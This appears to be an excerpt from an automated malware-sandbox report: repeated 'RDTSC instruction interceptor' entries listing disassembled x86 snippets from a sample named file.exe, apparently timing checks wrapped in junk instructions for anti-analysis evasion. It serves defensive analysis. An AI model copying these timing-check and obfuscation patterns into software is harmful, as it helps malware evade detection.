Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B87216 second address: B87231 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1B911A1E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b ja 00007F1B911A1E16h 0x00000011 push edi 0x00000012 pop edi 0x00000013 jp 00007F1B911A1E16h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B86DD7 second address: B86DDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B86DDD second address: B86DE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B86DE3 second address: B86DE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B86F0D second address: B86F1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 je 00007F1B911A1E16h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B93980 second address: B93988 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B93988 second address: B9398C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA9C30 second address: AA9C35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA9C35 second address: AA9C45 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F1B911A1E16h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA9C45 second address: AA9C58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB190Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA1A10 second address: BA1A14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA1A14 second address: BA1A26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B90BB190Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA1A26 second address: BA1A2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA1A2C second address: BA1A38 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA02B0 second address: BA02B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA03F5 second address: BA041B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB190Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pop edx 0x0000000e jl 00007F1B90BB1906h 0x00000014 pop eax 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jne 00007F1B90BB1908h 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA06F4 second address: BA0720 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E23h 0x00000007 jmp 00007F1B911A1E25h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA5FD6 second address: BA5FDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA5FDA second address: BA6021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F1B911A1E22h 0x00000011 jmp 00007F1B911A1E27h 0x00000016 jmp 00007F1B911A1E21h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA5BEC second address: BA5BF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA5BF2 second address: BA5BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB08DD second address: BB08E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB08E1 second address: BB08F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B911A1E1Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB2C14 second address: BB2C1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC4411 second address: BC4424 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1B911A1E1Ch 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC4424 second address: BC4445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1B90BB1915h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC4445 second address: BC4449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC4449 second address: BC444D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8474 second address: BC8486 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B911A1E1Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE4262 second address: BE4283 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F1B90BB1915h 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F1B90BB1906h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE43EE second address: BE43F8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1B911A1E16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE43F8 second address: BE441C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007F1B90BB1917h 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE456F second address: BE4577 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE4DA5 second address: BE4DB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F1B90BB1906h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE4DB6 second address: BE4DFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B911A1E1Ch 0x00000009 jmp 00007F1B911A1E20h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 jmp 00007F1B911A1E1Ch 0x00000016 jnp 00007F1B911A1E29h 0x0000001c jmp 00007F1B911A1E1Dh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE50C6 second address: BE50CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABABF8 second address: ABAC0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B911A1E22h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE9958 second address: BE99D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F1B90BB1914h 0x00000010 popad 0x00000011 jns 00007F1B90BB1916h 0x00000017 popad 0x00000018 nop 0x00000019 sbb dh, 00000054h 0x0000001c push dword ptr [ebp+122D1E80h] 0x00000022 add dword ptr [ebp+122D2A5Ah], edi 0x00000028 call 00007F1B90BB1909h 0x0000002d push ecx 0x0000002e push esi 0x0000002f jmp 00007F1B90BB1913h 0x00000034 pop esi 0x00000035 pop ecx 0x00000036 push eax 0x00000037 jmp 00007F1B90BB190Ch 0x0000003c mov eax, dword ptr [esp+04h] 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 push esi 0x00000044 pop esi 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE99D5 second address: BE99F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE99F0 second address: BE9A03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F1B90BB1908h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE9A03 second address: BE9A1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B911A1E27h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE9A1E second address: BE9A22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE9A22 second address: BE9A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C401B0 second address: 4C401D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB1919h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C401D5 second address: 4C401E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C3002F second address: 4C3003E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB190Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C3003E second address: 4C30044 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30044 second address: 4C30048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30048 second address: 4C300B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F1B911A1E1Eh 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F1B911A1E1Eh 0x00000016 sub al, 00000048h 0x00000019 jmp 00007F1B911A1E1Bh 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007F1B911A1E28h 0x00000025 xor esi, 4EB9D3A8h 0x0000002b jmp 00007F1B911A1E1Bh 0x00000030 popfd 0x00000031 popad 0x00000032 mov ebp, esp 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C300B3 second address: 4C300B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C300B7 second address: 4C300BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C300BD second address: 4C300E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB190Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1B90BB1917h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7004F second address: 4C7005F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B911A1E1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7005F second address: 4C700A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov si, di 0x0000000e pushfd 0x0000000f jmp 00007F1B90BB1919h 0x00000014 adc ch, 00000056h 0x00000017 jmp 00007F1B90BB1911h 0x0000001c popfd 0x0000001d popad 0x0000001e pop ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov bh, A1h 0x00000024 mov eax, 117498DBh 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C700A9 second address: 4C700B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B911A1E1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C000FD second address: 4C0012B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB1919h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1B90BB190Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C0012B second address: 4C0017B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 jmp 00007F1B911A1E23h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push dword ptr [ebp+04h] 0x00000010 jmp 00007F1B911A1E26h 0x00000015 push dword ptr [ebp+0Ch] 0x00000018 jmp 00007F1B911A1E20h 0x0000001d push dword ptr [ebp+08h] 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C0017B second address: 4C00181 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20CE8 second address: 4C20CEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20CEE second address: 4C20D12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB190Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F1B90BB190Bh 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 mov dl, al 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20D12 second address: 4C20D6E instructions: 0x00000000 rdtsc 0x00000002 mov di, 50B2h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007F1B911A1E29h 0x0000000f sbb al, FFFFFF86h 0x00000012 jmp 00007F1B911A1E21h 0x00000017 popfd 0x00000018 mov esi, 7A909337h 0x0000001d popad 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F1B911A1E29h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20D6E second address: 4C20DB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 4AAF2922h 0x00000008 pushfd 0x00000009 jmp 00007F1B90BB1913h 0x0000000e jmp 00007F1B90BB1913h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F1B90BB1915h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20DB9 second address: 4C20DC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B911A1E1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20DC9 second address: 4C20DCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2086D second address: 4C20873 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20873 second address: 4C20877 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20877 second address: 4C2087B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2087B second address: 4C208A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F1B90BB1916h 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1B90BB190Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C208A9 second address: 4C208AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C208AF second address: 4C208B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C208B5 second address: 4C208EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1B911A1E27h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C208EE second address: 4C20916 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 7631053Ah 0x00000008 push ebx 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1B90BB1918h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20916 second address: 4C2091C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20784 second address: 4C2078A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2078A second address: 4C207A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B911A1E29h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C207A7 second address: 4C207CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1B90BB1918h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2054A second address: 4C2054E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2054E second address: 4C20552 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20552 second address: 4C20558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20558 second address: 4C205AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edx 0x00000005 mov bx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d call 00007F1B90BB190Ch 0x00000012 pushfd 0x00000013 jmp 00007F1B90BB1912h 0x00000018 or eax, 5419B178h 0x0000001e jmp 00007F1B90BB190Bh 0x00000023 popfd 0x00000024 pop ecx 0x00000025 popad 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F1B90BB1910h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C205AB second address: 4C205B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C205B1 second address: 4C205B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C205B5 second address: 4C205D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1B911A1E1Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C205D8 second address: 4C205FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB1911h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1B90BB190Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60EB1 second address: 4C60EF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F1B911A1E1Ah 0x0000000a adc eax, 460E8EE8h 0x00000010 jmp 00007F1B911A1E1Bh 0x00000015 popfd 0x00000016 popad 0x00000017 mov di, ax 0x0000001a popad 0x0000001b xchg eax, ebp 0x0000001c jmp 00007F1B911A1E22h 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60EF1 second address: 4C60EF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60EF5 second address: 4C60EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60EFB second address: 4C60F01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60F01 second address: 4C60F05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60F05 second address: 4C60F09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
